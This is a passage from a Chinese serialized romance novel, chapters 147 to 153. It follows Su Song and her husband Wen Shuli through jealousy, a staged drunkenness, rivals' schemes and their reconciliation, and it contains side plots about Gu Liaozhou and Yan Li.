苏颂从没有见过温戍礼这样的眼神,好像痛,好像怨,似痛苦,又无话可说。
有些话,不必说尽,却已经让她无颜面对。
心,刺痛,懊悔无济于事,泪水滚落下来。
“苏颂,你千不该万不该,不该在嫁给我之后,还跟别的男人藕断丝连,别说周正焕的心思你不知道。
半夜在周家,你还去他房间见他。”温戍礼逼近她。
步步紧逼:“你们在房间里干了什么?”
“为什么你进去他就醒了?”
苏颂被质问得连连摇头,直到后脑勺撞在墙壁上,眼泪像决了堤,密密洒落下来。
“不是……”
“也许我该换一种问法,那天你在江边跟他说了什么?让他好好一个大男人,不敢清醒面对,用昏迷来逃避!”
“是他爱你爱到痛彻心扉,心神受损,还是他非你不可!!”他的声音逐渐失控。
但也仅是拔高了一些声音。他的手按在墙壁上,手背上,青筋尽显。向来自律冷静的他,如此已经是失态。
苏颂的眼泪却像是流不完一样,脑袋摇成拨浪鼓,她慌了。
可温戍礼退开半步,他两手插进兜里,一副拒人于外的姿态。眼前人不是会心疼她那个人,他没有护着她
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的头,轻轻为她拭泪。
不是这样的,她跟周正焕真的没有什么。
“你做得做错的一件事,是激起周正焕的争夺之心。”让今天这一切发生。
“践踏了我的喜欢!”
他抬步,朝着门口走,苏颂快速的拉住他,因为急切,她的声音变得有些沙哑:“不是这样的,我当年以为,要嫁的人是温泰,所以才不想嫁进温家。
从一开始,我就没有不想嫁给你。”她快速的说完,不想他再误会。
“砰”关起的门,像是抽去她的支撑力。
温戍礼走了,她蹲下去,抱头痛哭。
“太太。”
。
King
“嫂子做得最不应该的,就是当年上了温家的门,还上了周家的,并且现在,搞得所有人都认为,她跟周正焕以前有过一段,是你横插一脚。”顾辽舟同情的看向一边在灌酒的好友。
“我之前就说,你才是备胎。”一般男人,争输了不可怕,毕竟老婆都娶到手了,人才是真的。
可这是温戍礼啊,高岭之花,多少千金的梦中情郎,他居然,得不到妻子的心?
今晚大概最高兴的就是之前被温戍礼碾压过那些人,都不知道在背地里怎么笑话他了,毕竟顾辽舟今晚两个场都爆了。
赚的是好兄弟的羞辱钱,有愧!
顾辽舟拉开一瓶啤酒,也跟着喝起来。
“横插一脚?”温戍礼重复了这四个字。
顾辽舟顿了一下:“不是吗?他们都在说,你要是没有娶苏颂,就没有今天这件事。
说你横刀夺爱。”
这话是没什么道理的,因为顾辽舟清楚,当年周家并没有任何表态,他周正焕不娶,还不让别人娶了?夺爱?顾辽舟是看不出周正焕有多爱,毕竟苏颂那会,是真狼狈。
连顾辽舟都觉得这话难听,可温戍礼却忽然笑了一下。
“锄头挥得好,墙头草都会倒。横刀夺爱,不叫抢,叫本事。”
顾辽舟一听,这话怎么不对头,坐起来一看,却见他脸上没有半点不快。有种预感产生……
“你该不会……”
148 爱不会消失,只会耍心机。丢脸得爱
“不会什么?”温戍礼给自己倒酒,卷起的袖子,露出结实有力的小臂,那带钻的手表闪得顾辽舟晃眼。
他看错了吗?为什么温戍礼看起来一点也不难过,甚至还在笑?
只见他一杯酒下肚,杯子回到桌面,发出“啪”的一声。
“又不是我让他们当不成朋友的。”
。
顾辽舟从楼上下来,手里晃着车钥匙圈,车标的银色光晕亮眼,他嘴角的笑更亮眼。
他想起温戍礼给他车钥匙,说是他最近帮了不少忙的谢意。
他帮了什么?帮了温戍礼摆平了工地的事情,帮了温戍礼查到她继母的阴谋……这一年可帮了他不少,但温戍礼何曾提过“谢”字?他们是合作关系,各取所需。
顾辽舟看着手里的三支叉车标,他知道温戍礼是谢他,让他提前知道周正焕的计划……
周家的场合是圈子里的人伸着脑袋想挤的,但顾辽舟进去之后,发现自己跟他们格格不入,于是他到酒店门口去抽烟,所有人都赶着去讨好周家人,于是门口只有他孤零零一个人,本来,他打算把手里的烟抽完就进去的,哪知道一个黑衣人走过来,丢了一张纸条给他。
看到纸条上的内容,他马上进去转给了温戍礼。
上面写着“周正焕要逃婚”。
之所以温戍礼的车能那么快追上他们的车子,是因为有所准备,要不是时间太紧迫,来不及调人,周正焕未必能把人带出酒店。
顾辽舟收起钥匙,原以为发生这么一件事,温戍礼会沉闷,他都做好今晚陪他醉一场的准备了,结果没想到不仅不用喝,还有了这么大的收获。
“没想到我们这些人,说最不懂爱人的那个,却是爱的最深。”
“说什么‘又不是我让他们当不成朋友的’。”顾辽舟学着温戍礼的语气,忍不住笑,“不过这个人,恋爱起来,也是心机深沉,就为了不让苏颂怨他,不跟他赌气,这么大的脸都能丢。
心机起来连自己都算计!”
他摇摇头:“服了!”
顾辽舟心情好,走路吹口哨,结果刚走几步,就看到前台一抹熟悉的人影。
陈曼曼正在磨前台的小哥哥,她想要知道温戍礼在哪间包厢,但不管她撒娇卖萌还是给钞票,对方都坚决表示,老板说了,温戍礼的行踪不能透露。
气得陈曼曼五官扭曲。
“不用问了,我就是专门防着你,才交代的。”顾辽舟双手插兜的走来,“别以为你上次是专门在这里蹲戍礼的,我不知道。”
上次,陈曼曼借着有周家人的消息,让温戍礼带她上去,结果当场碰到苏颂跟周正焕在一起,那会,一屋子军政子弟,他差点以为自己的店要倒闭。
于是顾辽舟就把陈曼曼当成重点防备对象,又把温戍礼在这里的消息锁死,绝不让第二次风险产生。
“我说,陈曼曼,你是扫把星吧,每次都害我。”
“顾辽舟,是你老是针对我!”
两人的梁子能追到很多年前,那时候顾辽舟还是个中二少年,没有如今一统顾家的梦想,有的只是开心,想玩就玩,想闹就闹,有一次闹到陈曼曼这,她却翻脸了,还在温戍礼面前告他状,说他出身低,没素质。
两点,都踩中顾辽舟的底线。于是这些年,他也没少说过陈曼曼是白莲花、绿茶b。
反正,谁也看谁不顺眼。
“既然这样,你还老是来我的地盘干什么?你爸没告诉你,现在整条南华街,都是我顾辽舟的了。”
他趾高气扬,陈曼曼只能先低头:“辽舟哥,你告诉我戍礼在哪个包间吧,我爸告诉我今天周家订婚宴上发生的事情了,戍礼哥一直都是天之骄子,没有这么丢脸过,他一心帮扶苏家,却被苏颂背叛,他现在肯定很难过。”
顾辽舟暗笑,温戍礼现在乐着呢,不过转念一想,陈曼曼要是以为温戍礼很难过,结果却发现他很高兴,肯定很有趣。
打击一个爱做梦的女人最好的办法,就是让她认清现实。
于是,
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顾辽舟说:“要我告诉你,也不是不行,但你得先回答我一个问题。”
。
苏颂在家觉得度日如年,因为太害怕,甚至都睡不着,她在房间跟客厅之间走进走出,一直没等到温戍礼回来。
“十点了,他怎么还没回来。”她伸着脖子往玄关看。
阿姨今晚看她走来走去,看得头都晕了,但苏颂下午那样子吓到她了,她不知道这对雇主夫妻出去参加订婚宴,到底发生什么事,可吵得那么厉害,事情不小,她不放心苏颂,所以大晚上才一直待在客厅没回房。
“太太,要不你先去休息,等先生回来我再去叫你。”
苏颂心情很烦躁,一边担心长辈会来谴责她,一边又担心温戍礼不回家,她想了想,做了决定。
“不行,我得去找他。阿姨,今天的事我也有责任,我想跟戍礼道个歉,叫他回家。”
夫妻床头吵架床尾和。女人要懂得包容跟低头,日子才能越过越好。车子穿过灯红酒绿的街道,苏颂的脑海里却一遍遍的回响着奶奶的话。
在她要嫁来之前,奶奶跟她一夜长谈,教了她不少婚后跟丈夫的相处之道,那一夜的话,成了她坚守四年婚姻的基石。
每当她遇到想不通的事情,只要想起奶奶说的话,照做,就能和温戍礼又和好。
这一次,他们能和好吗?
苏颂望着车外的繁华,这座城市,她一直觉得不熟悉,没有归属感。
这段婚姻常常让她觉得孤单,温戍礼太忙了,她也知道,他那么忙,一半的压力来自她家。
所以她不敢跟他索爱,更不敢要求他过多陪伴,只是想他给点空间,让她有自己的朋友,可以打发一下她自己的时间。
可却让他误会她了,他说她践踏了他对她的喜欢,怎么可能呢!
她巴不得他喜欢她、爱上她,只有足够的爱才能填满她内心的不安,让她安心在这里落户。
“阿姨,去国王会所。”顾辽舟应该知道温戍礼在哪。
149 小没良心的快来,白眼狼要吃你老公
深夜的风在山崖上呼啸,两个样貌不分上下的俊美男人正面对面,气氛针锋相对。
周正焕咬着烟,漂亮的脸上,一边还贴了创可贴,遮不住的地方,透出些淤青,闹出这么大的事,家里人没惯着他,用军法惩戒了他。
他对着对面人笑:“知道你想打我,但抱歉啊,今晚不方便,我现在浑身疼,打不了。”
李斯俊从云城赶过来,一到达就约周正焕,话也很简单“单挑”。
此时,他看着站都站不直的好友,眼里没有半点同情,只有想把人打死的恨意。
“我信任你,才把颂颂交给你照顾,结果你要带她私奔?”
对苏颂嫁人这件事,李斯俊恨苏凤心狠,为苏氏不顾孙女的幸福。恨温戍礼夺人所爱,明明他不爱苏颂。可都没有他现在对周正焕的怨念重。
“我把你当兄弟,你居然要撬我墙角!”
周正焕讪讪,半点也不心虚的说:“兄弟是没错,但颂颂也不是你墙角……啊……你来真的。”
李斯俊冲过来,直接一拳就往周正焕脸上揍。要说平时,周正焕从小练,李斯俊还不是他对手,但现在,浑身的伤,让他反应迟钝,虽然躲过正面冲击,但拳头还是擦过他的脸。
周正焕捂着脸,不可置信:“你还打我脸?我跟你拼了!”
。
这边,King。
苏颂进门就问前台,温戍礼在哪。
顾辽舟开着温戍礼给他的新车溜达一圈回来,看到一个阿姨在隔壁车边东张西望,车是好车,人却有点不符合这车的级别,他平常也不是以貌取人的人,但谁叫他今晚有了一辆跑车呢?
于是,他同阿姨套近乎:“巧了,我们的车同个品牌,车牌号还只差一位数。”
阿姨哪懂这些啊,一听,照实说:“是啊,我家先生有强迫症,车牌都要连号的,大概你的车正好挨着号。”
等等,连号?
挨号顶多就前后两个,哪有这么巧就在南城?不,就温戍礼那个挑剔样,挨号的车牌要是真出现在这里,他肯定会买下来。强迫症不一定,但温戍礼那人真钱多。
“你是温戍礼家的司机?”
“不是。”
顾辽舟正要松一口气,只听对方又说:“我是他们家的阿姨。”
“……”
顾辽舟直冲前台,问:“刚才是不是有个女人来找温戍礼?”
他有全店吩咐过,温戍礼来了要告诉他,并对温戍礼的行程要注意保密。
前台点头:“有,顾少你说过,有人来问起温总,不能说。”
顾辽舟松了一口气:“没说就好。”陈曼曼不知道走了没有,万一碰上,就完蛋了。就温戍礼现在对苏颂的用情程度,他会剥了他。
“那她呢?”怎么没有看到苏颂。
前台说:“正好经理过来了,认出那是温太太,经理说,你说温太太来了,就可以说,所以经理带着温太太去温总的包厢了。”
感觉刚上来的气直接卡在顾辽舟的胸口里,让他憋了一会,咆哮出来:“话不能一口气说完啊!”
他急匆匆的往前走两步,又折返,对着前台小哥凶:“明明都不结巴,说个话却都能急死人!”
不走电梯了,他跑楼梯,看能不能快一步。
。
包厢里,温戍礼冷冷的坐在那,手指敲着手机界面,发出“笃笃”的闷响。
陈曼曼坐在他身边,一副解语花的样子:“你为她家的公司忙碌,她却因为你陪伴不够,而勾三搭四,太过分了。”
温戍礼把玩着手机,问:“她是谁?”
陈曼曼偷偷打量了一下他,要是以往她肯定不敢直接在温戍礼面前说苏颂的坏话,一是摸不准他对苏颂的感情,二是有损她一直在他面前经营的形象。
但是这一次,她直接说:“苏颂。苏颂她太过分了,竟然给你戴绿帽子。你对她那么好,她没良心。”
温戍礼拿起手机解锁,语气几分漫不经心的:“你怎么知道?”
他的眉毛动了一下,目光扫向她,亮起的手机屏幕,光落在他的脸上,
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从下而上,多了几丝恐怖的气息。
“辽舟说,是你丢纸条给他的,你是怎么知道,周正焕要逃婚的?”
在告诉陈曼曼,温戍礼的包厢号之前,顾辽舟问了陈曼曼一个问题,她是不是那个给他丢纸条的黑衣人。
陈曼曼当时专门找了衣服伪装,就是不想让他们知道是她,但顾辽舟太精了,他已经怀疑,加上陈曼曼急着要知道温戍礼的位置,就承认了。
她想,反正消息没有传错,周正焕的确带着苏颂跑了,她提前通风报信,是帮了温戍礼,承认了,也没坏处。
这一刻的陈曼曼,被温戍礼看得不好意思,她以为温戍礼是感激她。
她低下头,咬着唇,声音娇柔:“戍礼哥不用太谢谢我,毕竟以前你帮了我不少,我只是举手之劳。”
不知道是不是空气里飘荡的酒气味,让她也有些恍惚的醉意,她为什么急着在今晚找到温戍礼,就是觉得男人碰到这种事,肯定会买醉。
醉了,她就有机会,她这次得抓准时机,尽快!
她的心思活络,行动上也不再拘于淑女,而是去碰温戍礼的手臂:“戍礼哥,你喝酒了,我送你吧。”
她刻意不提“家”,反正是送,送哪另说。
“知道我帮你不少,却等着看我丢脸?”
他冷冰冰的话,让陈曼曼有些错愕,就这样近距离的抬眼,看着他。
“周正焕要逃婚,你不去告诉周家人,却告诉顾辽舟?你是要让他逃婚了,却是顾辽舟去阻止的,让我全程当个旁观者,蒙在鼓里,被所有人笑个彻底?”
他眼里渗出冷意,陈曼曼的声音有点抖:“不是……”
“苏颂是不是没良心不好说,但你,真是一头养不熟的白眼狼。别忘了陈家这些年有你一席之地,是我帮了你。”
“结果,你就是这样报答我的。散布我太太跟别的男人喝茶的照片造谣,现在又制造机会,让别的男人带走我太太。”
温戍礼的两根手指搭在陈曼曼的手腕上,用力,
150 出轨不是打球赛,你进一我也得进一
陈曼曼吃疼,却不想松开。她知道,没有比今晚更好的机会了。陈家已经给她下了最后通牒!
“我上次断你两手,就说过,你也算叛徒。”
因为相似的经历,他对她颇多照顾,没有男女之情,但一定程度上,也算他的人。
“我最厌恶有人背叛我。”
他抓着她的手腕用力……
门被推开,苏颂进门就看到这一幕。
两人挨得很近,陈曼曼转过来的脸,眼中含泪,又美又惨的样子,楚楚可怜。
再看温戍礼,虽然脸色不太好,但他的手……
“看来我来的不是时候。”
温戍礼几乎是立刻就松开手的,不是这样的。但常年的稳重做派,纵使心里乱如麻,可身体依然稳稳当当的坐在那,这就显得他放手的时候不是很急,好像是顾忌有人来,才松开的,而不是害怕被误会要撇开。
苏颂握紧的手,用力,让指甲刺痛自己的皮肤,这样能让她保持冷静。
她走过去,看也不看陈曼曼,对温戍礼说:“喝大了就回家,你一个有妻之夫,别坏了人家的名声。”
虽然不提名字,但这话,力量足以抵得过一巴掌。打得陈曼曼溃不成军。
她的手再也不好不放,到底,从小是照着名媛千金的标准教养的,她可以背地里不择手段,却不能摆明着不要脸。她还要名声。
温戍礼也顺着杆子上,装出喝大了的样子,摇晃了一下起身,走到苏颂这边来。
苏颂也不搭理他,直接转身走。
温戍礼走了一步,停下,回头。
“她是温太太。”
说完,他抬步跟在苏颂后头,脚步成直线,哪有半分醉态。
可是他愿意演,甚至一向都是别人跟在他后头的天之骄子,他现在,愿意跟在苏颂后面。
他说,她是温太太。
陈曼曼知道,他是在说她刚才回答错了。
他刚才问她“她是谁”,她说“苏颂”。
现在,他的才是正确答案。而他的正确答案也是在提醒她摆正自己的位置。
以前,他同情她,愿意让她靠近,她还算自己人,可以称苏颂“嫂子”,但现在,她不是他的人了,称呼苏颂,就要跟别人一样,称为“温太太”。
顾辽舟用最快的速度跑上来,还是慢了一步,苏颂出来的时候,他刚好到门口,接着就看到温戍礼也跟着出来了。
他闭了闭眼,都不敢去对上他的眼睛,因为顾辽舟还瞥到里面的陈曼曼了,终究,还是赶上了火葬场。
他今天的运气真是直上又直降。
衰!
。
温戍礼跟着苏颂进了电梯,她一直没看他,也没说话,他悄悄走近了一些,却听到她说。
“做夫妻,不是这样子的。”
嗯?
温戍礼偏头看去,看到她红着眼,忍得鼻尖都红起来了的样子。
“有什么话我们应该说开。再说今天的事,我也是受害者,我怎么知道周正焕他要抽风,他要带我走。
你不是一直追在后面吗,明知道我跟他什么都没有发生,你还生气,还跟人搞暧昧。
做错事,还要一比一打平手吗?”
“那你出轨,我也去找个男人出轨……”
苏颂话没说完,就被一只有力的手臂强势搂进怀里。
“你敢!”
苏颂的眼泪已经掉出来了,并且不受控制的没完没了。
她抽抽搭搭的,情绪的激动,让她的胸口起伏得厉害:“有什么不敢,唔……”
他用力的吻上来,将她的话尽数堵住。
电梯门打开,看着里面热烈接吻的男女,外面的一群人,愣了愣。
。
对面,Lily清吧
一行人训练有素的进来,礼貌又强势的清了场。任闫丽出来怎么挽留,那些顾客也不敢不走,不多会,服务员也都出去,店里就只剩下闫丽跟周扬平。
他的人在外面守着,把店围起来。
闫丽很气,但对上这个人,又阴阳怪气起来:“这么大张旗鼓,不怕别人知道我们的关系了?”
男人坐在吧台边的高脚凳上,椅子很高,但奈何这人腿长,坐起来不仅显得
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游刃有余,反倒是被他高大正直的身体显得,这椅子太单薄了。
论长相,周扬平不算出色,但他贵在气势,那浑身上下透出的老干部气质,很出众。
他说:“正焕从没有这样违逆过,我家里人猜想,应该是有人带坏了他。”
他唇角微微笑着,但那双狐狸眼落在她身上,却显得意味不明。
闫丽叫起来:“你们能不能别管不好自己家的熊孩子,就都怪我行不行?”
苏凤是这样,现在连周扬平也这样。按照这个理论,她是不是能说是苏颂跟周正焕骨子里坏,所以才跟她合得来?
闫丽的白眼翻得溜,两手叉在胸前,仰着头,被气得鼻孔都要冒烟了。
“行。”周扬平颔首,语气不轻不重,甚至都听不出他是什么心情。
闫丽迷恋他的时候,觉得他这个样子稳重老练,成熟有魅力。但被他气到的时候,她又恨极了他这种不冷不热的态度,他的冷静常常衬得她像跳梁小丑,犹如现在……
“既然知道是你们没管好家里的孩子,那就别来烦我。走,别打扰我做生意。”闫丽太气了。这人明明是跟她亲密过无数次的男人,可是每次一有事,最先不信她的,就是他。
她推着他赶人,哪知男人不仅纹丝不动,还反被他扣住手。
“为什么不想跟我好了?”
她已经十八天没有理会他的信息了,以往,他只要发一句什么时候回,那在他到达她所在地点的时候,她就会给他打电话发消息,一直缠着他出来见她,不管是在云城还是南城,她都这样。
可现在,狐狸精不对他抛媚眼,不对他扭细腰了,只想赶他走。
覆盖在手腕上的温度像是滚烫,闫丽想把手抽回来,却抽不动。
“回答。”他命令。
闫丽要怎么说呢,她看到他带着要跟周正焕订婚的女人,从婚纱店走出来,以为他要二婚了,她的原则不当三。
但现在他的态度太霸道,就这样说了,岂不是她的错,于是乎,闫丽回。
“我有新相好了。”
151 对苏颂,他是真不装了
一路上,温戍礼都在装睡,并且不同以往的,他靠在苏颂的肩膀上睡,显得从未有过的黏人。
肩膀忽然一抖动,温戍礼脑袋一晃,差点整个人摔下来。他一看,已经到了,察觉到苏颂打量的目光,他一开始只是装睡,没想到真的睡着了,他从没有这样过,不过现在他“喝醉”了,喝醉了,所以没意识,只有这样,那刚才跟陈曼曼的事情他才好解释。
于是他一副恍然大悟的开口:“……到了啊,我们回家吧。”
苏颂看他这个样子,有气都发泄不出来,只能自己先下车。
温戍礼下车,阿姨要来扶她,天真的阿姨以为雇主先生真醉了,结果雇主先生却说:“阿姨今晚住外面吧,费用报销。”
然后,阿姨站在车边愣愣的,只见先生他先是快步追上太太,然后保持一步的距离跟在后面,又故意耷拉着脑袋,装作酒后很不舒服的样子,似乎还听到他说“苏颂,我头晕”。
阿姨:“……”这小两口真会玩。
苏颂刚开门,人就被从后而来的用力抱住,惯力让他们同时进了门,温戍礼长手一带,又把门关上。
他搂着苏颂,将人抵在墙壁上,身上散发着酒香气,容易让人意乱情迷。
“做吧。”他说。
他的额头抵着她的额头,大手又垫在她的后脑勺上,不像下午的时候,任由她撞在墙上,他愿意的时候总是能对她细致的好,生气的时候却不管出口的话、做的事多伤人。
苏颂喜欢温戍礼的,但有时候,她也会反感。爱一个人,不应该没有自我。现在,她的自我意识占据主导,精神上难以妥协,于是,她只站在那,没有任何回应。
他的吻,由浅而深,但苏颂一点感觉也没有。
她被他拢在怀里,不抗拒,也不迎合。
可有时候,女人的主动会增添情趣,有的时候,女人的被动又会激起男人势在必得的决心。
他碰她、摸她、咬她,在她难忍嘤咛一声的时候,一把将人抱起,进了房间。
……
半夜时分,男人裸着上半身,站在落地窗边,嘴里咬着烟,想抽,但苏颂不喜欢家里有烟味。
他看着手机,正是跟顾辽舟的聊天界面,在他们回来后,顾辽舟给他发了不少消息,说他不知道苏颂来了,道歉,甚至求饶的表情包,发了好多。
想必是在碰到包厢的场景时,顾辽舟已经想好怎么死了。
温戍礼看着,他倒是没时间想,要顾辽舟怎么死,因为他当时只想着自己会怎么死。为什么偏偏会被苏颂碰上那样的画面。
装醉是糊弄过去了,可他刚才也伺候了好久。
【怎么没回?事情这么严重?】顾辽舟等了两个小时,又发送了消息过来,像是自言自语般。
时间,凌晨一点半。省得他睡不着,温戍礼回了一句。
【她没闹。】
【就是我的福利没有了。】
回复完,温戍礼退出,甚至关机。免得又有什么乱七八糟的人打电话进来,让苏颂胡乱猜想,手机放进口袋,烟丢进垃圾筐,进房陪老婆睡觉了。
做戏做全套,喝醉了的人只会睡觉!
这边,顾辽舟收到温戍礼的回复消息后,想了好久。
“什么福利?”手比脑子快,已经发送过去,但温戍礼没有回了,顾辽舟被激起好奇心,打过去电话,结果提示对方关机。
“关机?急着去找温柔乡啊!”
“等等,温柔乡?”
顾辽舟好像反应过来什么。他把昨天发生的事情从头捋。
昨天他们提前知道周正焕打算逃婚,按照温戍礼的脑回路那么快,肯定有想到苏颂,虽然时间上,来不及调人,但是看好苏颂一个人,是没有问题的,但顾辽舟过去的时候,苏颂已经被带走了……
“所以不排除是他故意让人被带走的。”
“然后又把人追回来?”
顾辽舟又想到昨晚温戍礼在包厢里说的那段“横刀夺爱”以及墙头草理论。
“如果真是故意的,那本来这一切都在戍礼的掌控中,结果因为他没有及时拦住苏颂,让她看到戍礼跟陈曼
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曼待在一起,然后本来是戍礼占理,变成了理亏……”
所以他由主导变成了哄人。床上哄?
顾辽舟看着手机,嘴角抽动,憋了好半会,才骂出来:“温戍礼,你个老色胚,下流!”脚步一转,他边走边说,“不过斯文的温大少连锄头都用上了,对苏颂,他是真不装了。”
他收起手机,拉开窗帘,站在窗边,望着斜对面,那些人依然围在清吧门口,窗帘有模糊的影子晃动。
顾辽舟轻嗤一声:“都不装了,这么坦白了吗。总不能就我孤单单啊~”尾调带勾,顾辽舟双手插兜,往着外走。
这边的闫丽被折磨得来了脾气,对身上的男人又抓又挠,她的指甲又长,刮到了男人的脸。
周扬平一把抓住她的手,低喝:“够了!”
他的耐心已经告罄,没兴致,也不想跟这个女人玩闹了。
在他看来,闫丽发脾气,包括她说“散”就是在闹。无非就是要他哄她罢了。
但她太不知好歹了。
周扬平开始穿衣服,他背对着闫丽,只侧过头:“你不要后悔就行。”
明明上一刻还在迷乱,这一刻他却衣冠楚楚的离开,徒留闫丽一身狼狈。
她“呸”了一声,拢着衣服,对已经离去的队伍骂:“周扬平,你就是个伪君子,不折不扣的变态!”
人前衣冠楚楚,人后脱衣起舞。他这个人,正经地方没兴致,就喜欢开放刺激的场合。
闫丽伺候累了,也被折腾累了
不知道是疼的,还是气的,一眨眼,眼泪就掉了。
“平常不是张牙舞爪的,每次碰上这个,就只会哭?”不知什么时候,顾辽舟出现在门口,他用下巴示意了周扬平离开的方向。
闫丽心里一颤,害怕他被周扬平看到,嘴比脑子快:“还不快进来!”
顾辽舟大摇大摆的进来,两手插兜,看着她衣服被撕坏的一角:“看不出来,老男人玩得这么花。”
“顾辽舟,你真不怕死,要是被他看到你来看他热闹,不怕他报复你!”
152 招惹危险,是谁在暗中操纵
闫丽一边整理衣服,一边说,奈何衣服被破坏了,遮住了这边,露出来那边,怎么都不好。
顾辽舟看着她露出来的大半个雪肩,眸光渐暗。语气没了吊儿郎当,透出几分不满的说:“留下你这个样子,连门也不关,就走了。亏你还操心他。”
闫丽怎么都弄不好衣服就很烦躁了,闻言,爆喝一句:“你哪只眼睛看见我、操心他了?!”
顾辽舟走向床边,一把撤下窗帘,披在她身上:“不是操心他,难道是担心我?”
这会两人离得很近,顾辽舟能看清她的泪眼婆娑,以及那被过分蹂躏过,显得艳红欲滴的唇。
目光锁住在那:“我既然敢走过来,就不怕他看到。他身居高位,要是不怕被我这污泥弄脏,就尽管来报复我。”
他靠近,两手为她捏着窗帘两角,盖住她的身体,唇瓣却堵了过去。
柔软碰撞,瞬间擦出火花。
顾辽舟一触即离,对着她笑得混不吝:“这样,被弄死也不怨了。”
他退开一点距离,笑得坏极了:“嗳,你别说,我还真希望他看到我亲你的样子。
看他还笑不笑得出来。”
周扬平嘴角总是带着焊死一般的笑意,早让他看不顺眼了。太假了!
……
隔天起来,温戍礼在厨房找到苏颂,她一大早起来,正跟阿姨一起和面。
阿姨对上温戍礼的目光,立刻快速闪躲开,她学聪明的去梳理台剁肉去了,还把隔间玻璃拉上了,给两口子腾空间。
温戍礼靠在厨房门边上,看着苏颂一个人忙活,她身上还穿着睡衣,圆领家居服,是她惯常穿的款式,不过见过她妩媚动人的装扮,这一身,就显得太清淡了。
当然,看起来更清淡的,是她的脸。她面无表情的,一直低头弄着面团,明知道他在这,却不看他。还在生气?
温戍礼不敢说在商场上百战百胜,但从胜券在握变成落败而逃,还真是第一次。
昨天顾辽舟递给他纸条的时候,其实他有些不以为意,他并不觉得周正焕能从他身边把苏颂带走。
到底是他轻敌了,没想到,周家的毛头小子竟然能调动周家的部下,甚至还有枪,当时那种状况,他也属于没有办法。
没有预料的败,让他有些恼,所以把她带回来之后,他确实在生气,不过气止于出门,刚走出门,他就后悔了,他有在门口等一会,但苏颂没有追出来。
明明,她被周正焕带走的时候,他立刻就追出去了。现在他生气要走,她却没有追出来。
温戍礼从不知道自己还有这么幼稚的一面,他想先去King喝酒,然后找个喝多了的借口让她来接,那么自己回家就有名头,还能继续抓住主动权。
哪知道,中间冒出个陈曼曼!
他走过去,伸手刚触碰到她垂散下来的发,就被她避开。
温戍礼收回手,咳了一声:“要包饺子吗?”阿姨是北方人,自从她来了之后,吃饺子变得很频繁,主要是,苏颂也喜欢吃。
温戍礼正想说“教教他”,苏颂便说“不是,包包子。”
很明显,能察觉到她不想跟他聊天的意思。温戍礼在心里又给陈曼曼记了一笔,嘴上却问:“要回家里一趟吗?林美丽多次设计你,爸让她给你道歉。”
苏颂一直知道林美丽不可能喜欢她,但真不知道她为了对付她,能这样煞费苦心。林美丽要道歉的事情之前就说了,但苏颂一直不去温家,她想,既然要道歉,就要林美丽来找她才算有诚意,但今天,她跟着温戍礼来温家了。
她有事情要问林美丽。
温家,温航之、林美丽,还有温衡都在,温戍礼没跟他们打招呼,这一次,苏颂也没有开口。
温航之使眼色使得眼睛都要抽筋了,苏颂一直当看不到,就是不先喊他,以为好媳妇形象,今日全没有,让他有点气,于是跟林美丽说话的语气就凶了点。
“还不快道歉。都说家丑不可外扬。你倒好
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,还把媳妇的事情宣扬得满世界都知道,让全城人看我们温家笑话。
真是头发长见识短,还不快道歉!”
林美丽看了看丈夫,又看了看小儿子温衡,没一个可靠的,最后看向苏颂,她的意思很明显,想苏颂先开口原谅她。
苏颂嫁进温家四年,一直都是温温和和的,对温家人都是主动打招呼,不惹事,顺从的。
但对方并不想跟她和气,她也不必再装什么孝顺媳妇。尊重是相互的。
于是苏颂愣是当没看见那两人的眼神意思,站在温戍礼身边,挺直腰杆,第一次对婆家人展现出强势。
苏颂不松口,倒是温戍礼先开了口:“不道歉?”
林美丽已经见识到温戍礼的手段了,听说昨天周家大少回去之后,挨了军棍,就是周家人迫于温戍礼施压,必须给人一个交代,才痛下打手的。
连周家人都要忌惮温戍礼,她林美丽,就更不用说了。现在她是真信了,温家一切都是温戍礼的事实了,不然,他们为什么得怕他。
林美丽向来能屈能伸,开口:“苏颂,阿姨跟你道歉。我……我当时看到照片太惊讶,没有考虑后果了。”
没有考虑后果,却会想到放上网,制造舆论效果,毁她名声,这种话,鬼都不信。
苏颂没有说原谅还是不原谅,她来见林美丽,是要问清楚一件事。
“是谁给你照片?”
此话一出,连温戍礼都看她一眼,只听苏颂又问:“你能说说他长什么样子吗?”
这个人,温戍礼也没查出来,林美丽说,当时她也是碰巧遇到这个人,这个人听到她打听苏颂,就给她照片了。
林美丽不想再挨打,只能如实说:“高高瘦瘦的,年龄跟你差不多的男人。”
她刻意强调是男的,还不忘看一下温戍礼的反应,结果没有激怒他恼苏颂招蜂惹蝶,反倒是被她狠狠瞪一眼,吓得林美丽低下头。
“是不是下巴有颗痣?”苏颂又问。
153 情敌有外援,温大少对手很强大
林美丽真不知道对方是谁,去年她在侦探市场找了不少人,一直挖不到苏颂的黑料,那会儿她甚至气急败坏,砸了对方的办公室,闹出了点阵仗,隔天,对方就说找到了,有个人说有苏颂的照片,是她想要的。
林美丽原以为是自己一闹,对方怕了,认真办事就查到了。
结果对方约了个人多的地点,来的人也不是那个侦探,做事一板一眼,看着奇怪,当时林美丽才起疑。
她跟着那个给她照片的男人,只见那人走到一辆迈巴赫车边,一个高高瘦瘦的男人背对着她,站在那,听完后上车,林美丽没有看到他的样子,但对方很白,在他转身上车的时候,林美丽看到他下巴的那颗痣了
林美丽事后一直让人打听,却没有找到这样一个具有明显特征的男人。一听苏颂准确无误的说出来,她有些惊恐:“你认识?”
苏颂没有理会她,侧身面对温戍礼,看着他问:“你认识吗?”
她的表情平淡,眼眸更是平静得,让温戍礼有些招架不住。他咽了一把口水,应:“见过这么一个人。”
所以,是吗?
苏颂没有再给他问的机会,转身就走。
。
周家
周正焕鼻青脸肿的坐在那,江灿笑得前翻后仰,乐得不行。
“你从小就爱打人,特别对我意见大,逮到就揍,偏偏我爸妈说你身体差,不让我们跟你动手。
哎呀,总算有人为我报仇了。”
小时候的周正焕很弱鸡,拳脚无力,纯粹就是被宠坏了。不过身上戴着周家的第三代长孙的光环,他有骄纵的资本。加上早产儿难养,从小就比大院里的其他子弟金贵,几乎大院里所有伴都被他打过。
“要知道,你孬起来,连女生都打。”江灿靠在椅子上,脑袋往后仰着,忆起童年趣事,总是向往,“你打江漾的时候,我还骂你以后娶不到老婆呢。
真没想到啊,你现在真娶不到。”
“抱歉啊,兄弟。”他侧过脑袋看他,嘴里说着道歉的话,嘴角的弧度却比AK还难压。
周正焕眼珠子一动,眼帘都痛,本来就是伤了一边眼,还没有这边近呢,李斯俊昨晚是真下死手。
把视线移回来,好男儿痛也不嚷嚷,他才不想被江灿笑话,这小子的嘴比女人还碎,心比女人还八卦。
